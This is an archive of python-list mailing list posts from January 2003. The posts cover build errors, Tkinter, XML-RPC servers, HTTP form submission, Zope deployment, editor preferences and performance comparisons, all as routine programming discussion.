Date: Sun, 12 Jan 2003 22:24:00 +0100
Subject: Installing Python problems (_socket.so)
In-Reply-To: <52373b4f.0301121030.447cac4f@posting.google.com>
References: <52373b4f.0301121030.447cac4f@posting.google.com>
Message-ID: <avsmd9$mcc$01$1@news.t-online.com>

Sam Carleton wrote:
> ld: fatal: relocations remain against allocatable but non-writable
> sections
[...]
> There does not seem to be much info here.  Is there any way I can get
> more info as to solve the problem?

That is the problem: You are linking a shared library, but some of your 
code (the OpenSSL code) is position-dependent, when it should be 
position-independent (PIC).

You have the following options:
1. Accept the failure; your Python installation won't support sockets.
2. Build the socket module without SSL support. To do so, edit
    Modules/Setup.
3. Rebuilt OpenSSL for position-independent code. To do so, either
    a) build openssl with --enable-shared, and link the socket module
       with the shared library, or
    b) manually add -fPIC/-KPIC when building OpenSSL. This will still
       give a static library, but it will be PIC.
4. Work around the failure, by telling the linker that it is ok to
    incorporate PIC code to a shared library. To do so, either
    a) Use the system compiler (SunPRO/Forte/SunONE)) instead of
       gcc, or
    b) Use gnu binutils instead of the system linker, or
    c) Manually add -mimpure-text to the C compiler flags for linking.

If you want to know why a certain alternative solves this problem, just 
ask. There are a few options that also appear to solve the problem but 
don't, namely

4 d) Use the system linker instead of gcc for linking
   e) Use -G instead of -shared for linking

HTH,
Martin





From tundra at tundraware.com  Sun Jan  5 18:30:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 05 Jan 2003 23:30:07 GMT
Subject: Tkinter: Alt-... Selection Of MenuButton Not Working
Message-ID: <2neava.4hv.ln@boundary.tundraware.com>

I have implemented a Tkinter interface which has a couple of menu buttons.
These menus have unique names, and I have the first letter of each underlined
("C" and "D" in my case).

Under X-Windows, Alt-C or Alt-D will bring up the associated menut.  Under
Win32, _nothing_ happens if I press Alt-C or Alt-D.  I am about to try
to write manual handlers for these key sequences, but I am wondering why
there is a difference in behavior in this regard.  I would think that this
would be pretty standard behavior on all platforms.

Can anyone explain?
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From kowk at earthlink.net  Fri Jan 17 14:16:25 2003
From: kowk at earthlink.net (Kow K)
Date: Fri, 17 Jan 2003 11:16:25 -0800
Subject: Introduction object-oriented programming
In-Reply-To: <20030117175701.15164.76508.Mailman@mail.python.org>
Message-ID: <2BF5BF88-2A50-11D7-A583-00050287C0A6@earthlink.net>

> From: Mike Meyer <mwm at mired.org>
>
> "Wouter van Marle" <wouterm at spammers-unite-here.com> writes:
>
>> Can anyone recommend me an introduction on object oriented 
>> programming in
>> general, and the trick in Python? Preferrably tutorial on the web or 
>> so.
>
> For OO in general, the best thing I've seen - by a large margin - is
> Bertrand Meyer's (no relation) "Object Oriented Software
> Construction". It's not available on the web, but well worth buying.

At Amazon, you could get a used copy of its first edition for very 
cheap. I got mine for $5 plus shipping.

OOP model of Python seems to be more strongly influenced by Smalltalk. 
For example, Eiffel uses the "self" construct far less often, and when 
it does, it's "Current", not "self". So, the Eiffel way might be a 
little bit confusiong. Also, the notions of class and modules are not 
clearly separated in Eiffel. At first, this was very confusing to me, 
at least in the Eiffel described in the first edition of OOSC.

Apart from those, the book was very interesting and illuminating.

>
> It may make you want to find an Eiffel compiler.

Or "SmartEiffel", ex-"SmallEiffel".

Cheers,
Kow





From peter at engcorp.com  Wed Jan 29 23:22:44 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 23:22:44 -0500
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <b0e655d.0301281341.5d7ae942@posting.google.com> <3E371BC2.BC18A93@engcorp.com> <RTWZ9.46536$Vh.45632@news2.central.cox.net>
Message-ID: <3E38A894.57BCC190@engcorp.com>

Steve Holden wrote:
> 
> What Peter is trying to say here is that, besides the *client-side* action
> of causing the form to be submitted, the button also appears in the POST
> data stream as a type=value pair, and therefore you should include a
> dictionary entry for it in your name-data pairs.
> 
> In terms of your question, yes, submitting the data triggers the server-side
> actions that process it.

Thanks Steve.  I somehow didn't see his sentence asking about the 
"server-side onSubmit" actions, probably jumping to answer as soon
as I saw something I could answer :-), so I guess my post was 
unclear.

-Peter



From P at draigBrady.com  Thu Jan  2 10:36:32 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Thu, 02 Jan 2003 15:36:32 +0000
Subject: comments inside blocks
In-Reply-To: <mailman.1041517263.5169.python-list@python.org>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org>
Message-ID: <3E145C80.7080800@draigBrady.com>

Gerrit Holl wrote:
> P_spam_ at draigBrady.com schreef op donderdag  2 januari om 15:01:08 +0000:
> 
>>However the folding seems wrong for python. For the
>>following code the comment is folded along with
>>the for statement?
>>
>>for i in range(10):
>>	a=1
>>#comment
> 
> It should, because...
> 
> 
>>>>None
>>>>for i in range(10):
> 
> ...    print i
> ... #...
> ...    print i**2
> 
> ...runs fine at my machine, apparantly it's permitted.

Hmm but the editor should be able to distinguish between
these 2 cases IMHO:

for i in range(10):
     print i
#comment nothing to do with for

for i in range(10):
     print i
#not normal but valid comment in for
     print i**2

Note in the scintilla TODO I noticed:

"Folding for languages that don't have it yet and good folding for
languages that inherited poor folding from another languages
folding code."

so I guess it's a known issue.

P?draig.




From peter at engcorp.com  Sat Jan 25 14:28:48 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 14:28:48 -0500
Subject: Illegal literal or not?
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net> <dGrM+ks/KrEc089yn@the-wire.com>
Message-ID: <3E32E570.63A1AEAC@engcorp.com>

Mel Wilson wrote:
> 
> In article <_RfY9.862$d66.98244 at newsread1.prod.itd.earthlink.net>,
> "LJ & MT Lareau" <ljlmtlvt at earthlink.net> wrote:
> >Is it possible to have Python produce the following literal output in the
> >interactive mode.
> >'"Let's try this!", they said.'
> >If so what is the Python statement. I've tried several ways
> >and can't seem to produce it.  Thanks for the help.
> 
> Just for weirdness' sake (there have been better answers)...
> 
> print "'" + '"' + "Let's try this!" + '"' + ', they said.' + "'"
> 
> print ''.join (["'", '"', "Let's try this!", '"', ', they said.', "'"])

Or even weirder: 

>>> print '"'.join(["'", "Let's try this!", ", they said.'"])
'"Let's try this!", they said.'

And it uses several fewer list elements!  ;-)

-Peter



From aka at mvps.org  Thu Jan 16 02:20:25 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Thu, 16 Jan 2003 02:20:25 -0500
Subject: Python as a base for an Open Source Foxpro
References: <5c07cc6.0301151206.455286ac@posting.google.com> <7zcJ+kKkXcxV092yn@gnosis.cx> <mailman.1042684049.15215.python-list@python.org> <mailman.1042691728.14524.python-list@python.org>
Message-ID: <b05mfm$lum2f$1@ID-136433.news.dfncis.de>

"Lulu of the Lotus-Eaters" <mertz at gnosis.cx> wrote in message
news:mailman.1042691728.14524.python-list at python.org...

>
> Yours, Lulu...
>
> [*] FWIW, this is only half tongue-in-cheek.  I really do know both
> languages, and really would be happy to accept work doing such a thing.
>
Visual Basic? You're a better man than I am.

I've done work on a VBish parser before - it was certainly an education about
why people who write compilers hate VB. ;)





From max at alcyone.com  Wed Jan 29 03:09:44 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 00:09:44 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com> <7xsmvcl9gs.fsf@ruckus.brouhaha.com> <3E378028.3FA9B988@alcyone.com> <7xn0lkz8nw.fsf@ruckus.brouhaha.com>
Message-ID: <3E378C48.A24321D3@alcyone.com>

Paul Rubin wrote:

> Yes, however, in the case of library modules, history shows that
> whatever justification takes place is almost always done by means
> other than PEPs.

But you're using a rather selective history to make that conclusion. 
The PEP process was only introduced in 2000, after all.  It exists
precisely for this purpose; you seem to want to circumvent it for some
reason.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Oh, what lies there are in kisses.
\__/ Heinrich Heine
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From exarkun at intarweb.us  Fri Jan 24 13:54:20 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 13:54:20 -0500
Subject: tkinter + unicode + bug or feature??
In-Reply-To: <3E3185C3.90402@kootenay.com>
References: <3E3185C3.90402@kootenay.com>
Message-ID: <20030124185420.GA15790@meson.dyndns.org>

On Fri, Jan 24, 2003 at 11:28:19AM -0700, Bob van der Poel wrote:
> 
> [snip]
> 
> So, can I force tkinter to return non-unicode strings? Or can I write a 
> function to convert all my Entry widget strings to be non-unicode. And, 
> I am dreaming that this is a new problem? I recently upgraded my Linux 
> box to mandrade 9.0 and it has installed python 2.2.1.
> 

  Python MegaWidgets provides an EntryField class that lets you specify
arbitrary validation functions for the input.  You could use it, or write
your own mini-subclass of Entry that -just- prevents unicode input, and then
use that class instead of Entry.  I'm not aware of a solution that will let
you continue using Tkinter.Entry and not get unicode input (at least, one
that isn't a dirty hack).

  Jp

-- 
A sad spectacle.  If they be inhabited, what a scope for misery 
and folly.  If they be not inhabited, what a waste of space.
                -- Thomas Carlyle, looking at the stars
-- 
 up 39 days, 21:49, 1 user, load average: 0.81, 0.64, 0.57
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/4cfe667a/attachment.sig>

From phr-n2002b at NOSPAMnightsong.com  Sun Jan  5 18:21:52 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 05 Jan 2003 15:21:52 -0800
Subject: Opinions, please: Repository module
References: <mailman.1041806169.632.python-list@python.org>
Message-ID: <7xwuljp4hb.fsf@ruckus.brouhaha.com>

andy <andy at eastonwest.co.uk> writes:
> I'm working on a little project - for my kids, actually - and I had
> a need to code a module to provide a 'central network place to store
> miscellaneous stuff'.  No security or reliablility assurance is
> required either.

If you're exposing it to the internet you really better have some security
to keep dipwads from taking over the server.

> I googled for an existing module, but found none simple enough (got
> lots of interesting stuff about distributed processing systems and
> so on though)...

Something wrong with xmlrpc over http using urllib or something like that?

> I realised I was going to have to bite the bullet and learn to use
> sockets.  I was off work for the christmas break, 9 days or so, and
> spent much of this time digging, until I was totally googled out.

See above

> It uses sockets, and is loosely based on an old chat-server example
> by J.  Strout (www.strout.net), so it uses a round-robin approach,
> with the sockets in non-blocking mode.  I specifically wanted to
> code this myself, pig-headed that I am, to learn a bit of the
> practicalities of socket programming; yes I know I could have used
> SocketServer, Twisted or any number of other modules hanging round
> there in cyberspace.  However, as I said, I wanted to know how it
> worked from the /inside/.

If serving a request involves doing anything complicated, you really
want to provide some kind of concurrency, even if it's simple forking.
> 
> Requests come in as a clear-text dictionary:
> 	{"request":"...","keys":{"k":v...}}
> 
> 	These are evaluated (for convenience) by eval().  Yes, I know
> 	this is risky, but it' easy, ok.

I'd say use the XMLRPC module instead of a dictionary.  You really
should have some kind of authentication, too.
> 	
> So far only two requests are supported:
> 
> 	"set" - sets key values
> 	"query" - queries key values
> 
> The key values are stored in a dictionary by the server.

What happens if the server stops running?  If the repository isn't
persistent, it's not really a repository.

> I just /bet/ someone is going to tell me now that there's already something 
> out there which does exactly this :-(

Yes, MySQL ;-)

> Anyway, anyone interested?

It sounds like you're doing a worthwhile learning exercise but not
something really suitable for general release.



From peter at engcorp.com  Tue Jan 14 17:35:39 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Jan 2003 17:35:39 -0500
Subject: Zope on Port 80
References: <a8baab8f.0301141418.f54cfe2@posting.google.com>
Message-ID: <3E2490BB.FC466094@engcorp.com>

Elias Ponvert wrote:
> 
> Apologies if this is a FAQ, I've not seen it anywhere.
> 
> Is there any reason _not_ to run Zope on port 80 of, say,
> mymachine.foo.com? Assume that I'm OK with mymachine only running
> Zope. Are there other reasons? Security? Caching?

A process has to be root, at least initially, to bind to port 80 (or
any port below 1024) under Linux.  That in itself might pose security
risks for you.

My own approach has been to bind Zope to another port as a safer
user, but use iptables and port-redirection to make it appear
as though it's on port 80.  Not sure just how much "better" this
might be, but it _feels_ safer.

I wouldn't imagine there are any particular issues with caching
etc., at least not that are unique to port 80.

-Peter



From skip at pobox.com  Sat Jan 18 09:55:37 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 18 Jan 2003 08:55:37 -0600
Subject: Towards a Python machine?
In-Reply-To: <7xvg0nw8ez.fsf@ruckus.brouhaha.com>
References: <r3ah2vct96fthj6s6iq1albk9vbap48nsk@4ax.com>
        <7xvg0nw8ez.fsf@ruckus.brouhaha.com>
Message-ID: <15913.27369.695993.201586@montanaro.dyndns.org>

    Paul> A Lisp machine could probably run a Python-like language pretty
    Paul> well.

Yeah, but wasn't it that general purpose processors could run Lisp as well
as a Lisp Machine one of the factors that led to its demise?

Skip






From cnetzer at mail.arc.nasa.gov  Fri Jan 10 15:07:33 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Fri, 10 Jan 2003 12:07:33 -0800
Subject: File Read/Write test program
In-Reply-To: <avmq5o$462$0@216.39.172.122>
References: <mailman.1041984409.6241.python-list@python.org> <4GvT9.5515$LY2.325145@newsc.telia.net> <avmq5o$462$0@216.39.172.122>
Message-ID: <200301102007.MAA16541@mail.arc.nasa.gov>

On Friday 10 January 2003 07:51, Bengt Richter wrote:

> Think special-casing single-byte string muliplies is worth while?
> It would be as fast as memory bandwidth would allow.

I believe it is being talked about, and possibly implemented, on the 
development list.  I can't remember what thread...

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From lac at strakt.com  Fri Jan 31 23:06:45 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 01 Feb 2003 05:06:45 +0100
Subject: Implicit lists 
In-Reply-To: Message from bokr@oz.net (Bengt Richter) 
   of "31 Jan 2003 22:00:38 GMT." <b1erm6$5t9$0@216.39.172.122> 
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com> <200301310815.52803.aleax@aleax.it> <mailman.1044024304.31027.python-list@python.org> <of5x8hdd.fsf@python.net> <mailman.1044031628.28902.python-list@python.org> <y9516wy8.fsf@python.net> <b1erm6$5t9$0@216.39.172.122> 
Message-ID: <200302010406.h1146jjL008573@ratthing-b246.strakt.com>

> >Only Python strings are a problem here, so IMO a stringlike
> >test like Alex suggested is what is wanted.
> IMO using a particular behaviour probe to infer general behavior
> and/or type info is fraught with pitfalls. E.g., that innocent '+'
> in Alex's probe changes the question from "will you act like a string"
> to "do you implement '+' with the other arg specifically being "''"
> without raising an exception. It is not the same question. Not to
> mention what an unknown object might do in terms of side effects
> and/or execution time when probed.
> 
> I think there is more thinking to do ;-)
> 
> Regards,
> Bengt Richter

Some more thoughts.

Which do you think is more likely to happen a) Somebody creates an
object which implements <something> with an other arg of <something
else> which when fed to that function does something which isn't
wanted or b) somebody creates an object that would have worked
perfectly with the object?

What will be easier to understand and fix as an error c) ooops, I
implemented <something> in this object but it doesn't behave like the
author of <that module> intended, or d) ooops, I am not a real
<whatever> and I got typetest.  I wonder which methods, properties,
and other behaviours I need to implement before I am sufficiently
<whatever>-like for the module writer?

I don't think there is a one-size-fits-all answer.

The last one d) is the one that I always want to know, and I would be
happy if it happened automatically.  But this might be the job for 
the refactoring browser, not the language.

Laura





From NmOaSyPcAM at imsweb.com  Wed Jan 22 18:19:29 2003
From: NmOaSyPcAM at imsweb.com (Chuck May)
Date: Wed, 22 Jan 2003 23:19:29 GMT
Subject: SimpleXMLRPCServer and forking
Message-ID: <Xns930BBA695861Dnmoasypcamimswebcom@165.112.130.8>

I have a couple of questions concerning the SimpleXMLRPCServer.

1. I'm trying to implement a situation where the web client makes a call 
to the XML-RPC server, a database is updated showing that a job is 
beginning to run, and the server returns success to the calling user.  
After the request completes, the job (which takes a long time) starts to 
run and completes.  Upon completion, the results are posted into the 
database.  Here is some very simple code that illistates what I am 
talking about:

   import SimpleXMLRPCServer, sys, socket

   class Functions:
       def _logon(self, user, db):
    	    # handle user verification

       def dump(self, user, db, request):
           _logon(user, db)
           # return success
           # continue long running request

   if __name__ == '__main__':
       server = SimpleXMLRPCServer.SimpleXMLRPCServer((localhost, 8000))
       server.register_instance(Functions())
       server.serve_forever()

Does anyone know the best way to handle that?  Should I use a fork() in 
the dump function?  I'm not sure how that will affect the XML-RPC server 
though.  I could call an external program and launch it as a background 
process, but I'd like to keep the code self-contained.

2. Am I correct in saying that SimpleXMLRPCServer can only process a 
single request at a time?  It doesn't appear to be using the forking 
model.  If that is the case, does anyone know an easy way to create a 
forking version?  I could copy the source code and make some changes, 
but I was wondering if there was a way to subclass instead.

Thanks for any help,

-- 
Chuck May
IMS, Inc.
NmOaSyPcAM at imsweb.com



From peter at engcorp.com  Sun Jan 26 13:21:21 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Jan 2003 13:21:21 -0500
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <3E32EFD8.D00D4656@engcorp.com> <b0e655d.0301260938.14265877@posting.google.com>
Message-ID: <3E342721.E8925970@engcorp.com>

Whit Whitfield wrote:
> 
> Well I'm tinkering with the snippet from the FAQ and trying it out on
> www.musi-cal.com's little query page.  Here's the code:
> 
> ### build the query string
> qs = "First=Josephine&amp;MI=Q&amp;Last=Public"

You shouldn't be using &amp; here... that's only for XML
and HTML and such, not for query strings.  Query strings
use & itself to separate the key/value pairs from each other.

Not sure what else might be going wrong... why not try
the example from the documentation on httplib?

import httplib, urllib

fields = { "First": "Josephine", "MI": "Q", "Last": "Public" }
params = urllib.urlencode(fields)
headers = {"Content-type": "application/x-www-form-urlencoded",
               "Accept": "text/plain"}

conn = httplib.HTTPConnection("www.musi-cal.com:80")
conn.request("POST", "/cgi-bin/query", params, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()
conn.close()



From max at alcyone.com  Fri Jan  3 20:26:05 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 03 Jan 2003 17:26:05 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org>
	 <slrnb19use.h00.grey@teleute.dmiyu.org>
	 <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <877kdmax29.fsf@gvdnet.dk>
Message-ID: <3E16382D.48801EF9@alcyone.com>

Martin Christensen wrote:

> As do you I am convinced that a total neophyte will be more
> comfortable in Emacs than vi, simply because very, very few programs
> that deal with text editing of any sort nowadays have different
> modes. If not for the menues, however, a total neophyte would be as
> lost in Emacs as in vi, and in all fairness, where Emacs has menues,
> vi has GVim.

Agreed.  Firing up GNU emacs, at least, does bring up a scratch pad that
gives you some hints, such as how to get help and how to run the
tutorial (of course, so does vim).

> However, of what consequence are the first few weeks of stumbling in
> the long term? I see no problem in an editor having a rather steep
> learning curve if it is justified by long-term benefits, and both
> Emacs and vi have made many such sacrifices.

It's also possible there are different metrics for "learning curve"
being used here.  If you were to insist that learning curve apply to
_all_ of emacs' features, then yes, obviously it has a massive learning
curve simply because there are so many.  I use emacs exclusively, and I
only use what I need to use; there are tons of major and minor modes
that I've never bothered learning anything about, because I don't need
them and can't imagine I ever will.

> I learnt to use basic vi by using the tutorial that comes with Vim.

I can't even remember how I came to be barely competent in vi (like I
said, just enough to use it on systems where emacs isn't available and I
need to edit a configuration file).  I think back in the day when I
started a friend gave me a cheat sheet.

> I'm already an expert computer user and thus am not easily
> intimidated, and so I learnt the basics in half an hour. But I would
> never in a million years get my mother to use it. On the other hand,
> she can use Emacs much the same as she'd use Notepad, i.e. typing and
> deleting text as she normally would, using the mouse as she normally
> would, but she'll never get beyond that.

I noticed that around version 19 or 20 they even changed it so if you
select text and hit delete it cut the text, instead of having to hit
C-w.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Divorces are made in Heaven.
\__/ Oscar Wilde
    Computer science / http://www.alcyone.com/max/reference/compsci/
 A computer science reference.



From eviola at dsi.unive.it  Wed Jan 29 13:50:13 2003
From: eviola at dsi.unive.it (Pigio®)
Date: Wed, 29 Jan 2003 18:50:13 GMT
Subject: URLLIB2 
References: <yiOZ9.59194$ZE.1647153@twister2.libero.it> <aUQZ9.47296$Hl6.6059165@news010.worldonline.dk>
Message-ID: <FnVZ9.60428$YG2.1700846@twister1.libero.it>

You have reason when you say that the url doesn't load in an ordinary
browser but urllib2 doesn't return an error, it  block here and it doesn't
return nothing.

I have missing that I work with Linux, probably in windows works correctly.

If you have linux install on your pc, you could tray.

Thanks, Ennio-

> I HAVE USED THEM FREQUENTLY WITHOUT
> PROBLEMS!!!

> So perhaps the problem is on your side?

> Ie. I could not load the above mentioned url in an > ordinary browser!


> --

> hilsen/regards Max M Rasmussen, Denmark

> http://www.futureport.dk/
> Fremtiden, videnskab, skeptiscisme og transhumanisme






From timr at probo.com  Mon Jan  6 23:47:27 2003
From: timr at probo.com (Tim Roberts)
Date: Mon, 06 Jan 2003 20:47:27 -0800
Subject: date time arithmatic
References: <Xns92FA7A697169ADavePnearlydpawson@195.149.20.147> <av9aj0$1lno$1@serv.vrn.ru>
Message-ID: <htmk1v4v12giunjvhqshcqfq621s58mj1m@4ax.com>

"Lexy Zhitenev" <zhitenev at cs.vsu.ru> wrote:
>
>If the dates you operate on are in the Unix Epoch (1970 - 2038), you can use
>"time.mktime" function.
>
>>>> import time
>>>> def now(d, m, y):
>...          return int(time.mktime(d, m, y, 0, 0, 0, 0, 0, 0) / 86400) #
>86400 - number of seconds passed since 1970/1/1.
>
>So if you want to count the number of days between to dates use "now(2003,
>1, 5)-now(1982, 5, 23)"

However, to reduce confusion, you might want to rename those parameters to
"y, m, d" instead of "d, m, y" in both cases...
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From grante at visi.com  Fri Jan  3 17:26:25 2003
From: grante at visi.com (Grant Edwards)
Date: 03 Jan 2003 22:26:25 GMT
Subject: how to submit a patch?
Message-ID: <3e160e11$0$229$a1866201@newsreader.visi.com>

A couple months back I fixed the termios module so that various
functions (tcdrain, etc.) were thread-aware.

However, I've not been able to figure out how to submit a
patch. I found the web page that allows one to browse existing
patches.  How do I submit one?

-- 
Grant Edwards                   grante             Yow!  I love FRUIT
                                  at               PICKERS!!
                               visi.com            



From tebeka at cs.bgu.ac.il  Wed Jan 15 02:50:58 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 14 Jan 2003 23:50:58 -0800
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com>
Message-ID: <33803989.0301142350.1af9e278@posting.google.com>

Hello All,

Thanks for your help.
Looks like the winning combination will be struct + psyco + 2.3 which
<AMAZING> runs faster than the c test (compiled with -O3) </AMAZING>

[09:37] $time ./struct_test_psyco.py 
Going 100000 iterations
* Done
real 0.25
user 0.25
sys 0.00
[09:37] $time ./c_t
c_test    c_test.c  
[09:37] $time ./c_test
Going 1000000 iterations
* Done
real 0.34
user 0.29
sys 0.04

Miki

--- c_test.c ---
#include <stdio.h>
#include <stdlib.h>

typedef struct {
	long x;
	long y;
} point_t;


point_t *
make_point(long x, long y)
{
	point_t *pp;
	pp = (point_t *)malloc(sizeof(point_t));
	pp->x = x;
	pp->y = y;

	return pp;
}

long
point_x(point_t *pp) 
{
	return pp->x;
}

void
point_set_x(point_t *pp, long x)
{
	pp->x = x;
}

long
point_y(point_t *pp)
{
	return pp->y;
}
	

void
point_set_y(point_t *pp, long y)
{
	pp->y = y;
}

void
test_c(long iterations)
{
	point_t *pp;
	long x, y;
	while (iterations > 0) {
		pp = make_point(random(), random());
		x = point_x(pp);
		y = point_y(pp);
		point_set_x(pp, y);
		point_set_y(pp, x);
		--iterations;
	}
}

int
main(int argc, char *argv[])
{
	long iterations = 1000000;
	if (argc > 1) {
		iterations = atol(argv[1]);
	}

	printf("Going %ld iterations\n", iterations);
	fflush(stdout);
	test_c(iterations);
	printf("* Done\n");

	return 0;
}
--- c_test.c ---
--- struct_test_psyco.py ---
#!/usr/bin/env python

import random

def make_dot(x, y):
    return [x, y]

def dot_x(dot):
    return dot[0]

def dot_set_x(dot, x):
    dot[0] = x

def dot_y(dot):
    return dot[1]

def dot_set_y(dot, y):
    dot[1] = y


def test_struct(iterations):
    while iterations > 0:
        d = make_dot(random.random(), random.random())
        x, y = dot_x(d), dot_y(d)
        dot_set_x(d, y)
        dot_set_y(d, x)
        iterations -= 1


if __name__ == '__main__':
    from sys import argv, stdout
    if len(argv) > 1:
        iterations = long(argv[1])
    else:
        iterations = 100000

    import psyco
    for func in (make_dot, dot_x, dot_set_x, dot_y, dot_set_y, test_struct):
        psyco.bind(func)
    print 'Going %d iterations' % iterations
    stdout.flush()
    t = test_struct(iterations)
    print '* Done'
--- struct_test_psyco.py ---



From gradha at terra.es  Fri Jan 24 15:32:38 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Fri, 24 Jan 2003 21:32:38 +0100
Subject: Looking for CORBA examples, or something better
Message-ID: <20030124203238.GA2206@pedos.es>

Hi.

After a university brainwash of Java's RMI and Microsoft's COM, I'm
looking for a python CORBA... interface? I mean, an example/module
I should use to communicate to other CORBA objects.

CORBA is usually more code verbose than Java's RMI, because RMI
knows it's talking to another Java. Is there something similar
in Python? Something easier to write than CORBA but restricted to
python. Maybe YAMI?

Please point me towards the juicy documentation (huh, google is
unreachable from my end now)




From skip at pobox.com  Wed Jan 22 10:02:30 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 09:02:30 -0600
Subject: trying to wrap xmlrpclib into classes
In-Reply-To: <3E2EABEA.4050405@outerthought.org>
References: <004b01c2c16c$ef26c780$21795418@dell1700>
        <3E2E947D.7050600@outerthought.org>
        <15918.42917.203377.862983@montanaro.dyndns.org>
        <3E2EABEA.4050405@outerthought.org>
Message-ID: <15918.45702.385600.887517@montanaro.dyndns.org>

    >> I'm coming in late to this thread, but use XML-RPC all the time.
    >> Other than the initial setup of a server proxy and the fact that
    >> XML-RPC can't quite pass all Python data types, can you describe what
    >> "XMLRPC'ish" is?

    Steven> Having to pass in xmlrpclib.DateTime objects into certain
    Steven> methods, and this 'server object' that is hanging around in your
    Steven> logic which I don't like.

Well, it's really not a server object, but a proxy for another object which
happens to live on another computer.

I think the business of xmlrpclib.DateTime objects will probably improve
over time.  Python is in the midst of growing a datetime module of its own.
You'll still have to import the module to use it, but eventually, what you
pass won't be a wrapper object defined in the xmlrpclib module.  Ditto for
xmlrpclib.Boolean.

    Steven> page = Page('Main', 'http://wiki.cocoondev.org/RPC2/')

Since the default path is "/RPC2" (that is, xmlrpclib will send a POST
request to the server with "/RPC2" as the path), why are you giving that?

    Steven> pageInfo = page.retrievePageInfo()
    Steven> version = page.getVersion()
    Steven> author = page.getAuthor()
    Steven> lastModified = page.getlastModified()

This looks very vanilla.

    Steven> twodays = 60*60*24*2
    Steven> twodaysago = time.gmtime(time.time() - twodays)
    Steven> changes = RecentChanges('http://wiki.cocoondev.org/RPC2/')
    Steven> rc = changes.getRecentChanges(twodaysago)

As does this.  Do you wrap twodaysago in a DateTime object locally or just
pass it along as a tuple?

    Steven> rc being a dictionary of a sequence of built-in types with a
    Steven> proper lookup key rather than a list of dictionary objects which
    Steven> the default xmlrpclib creates for an XMLRPC array.

This I can't quite parse.  Are you complaining that it does something funky
with lists or dicts?  Can you give a concrete example?

Skip




From gbrunet at nospamsempersoft.com  Mon Jan  6 11:51:41 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Mon, 6 Jan 2003 10:51:41 -0600
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com>
Message-ID: <v1jd1o8pjuho28@corp.supernews.com>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E197F7C.D4549EC5 at engcorp.com...
> Greg Brunet wrote:
> >
> > - VB.NET (as well as C##) are/can be very strongly statically
typed -
> > even more so than VB6.  I'm still trying to determine if I like a
> > strongly _dynamically_ typed language like Python.  I'm having a
hard
> > time understanding why it's not better to know at compile time that
> > ['foo' + 5] is an exception.  If I have to wait until runtime, then
I
> > would think that I need to be writing LOTS more error checking code
at
> > all my function entry points, whereas with strong static typing, I
can
> > catch all this at compile time.
>
> While the specific example you quote, where two statically defined
> *constants* are being added, *could* be caught by the compiler,
> it's pretty rare to be doing that anyway.  More likely you would
> be doing something like ['foo' + bar] where bar is bound to the 5.
> That would not be catchable until runtime, by definition.

Actually, it is catchable at compile time with a statically typed
lanugage.  If I have:
'==============
Dim sName as String
Dim nNumber as Integer
Dim sResult as String

    sResult = sName + nNumber
'==============

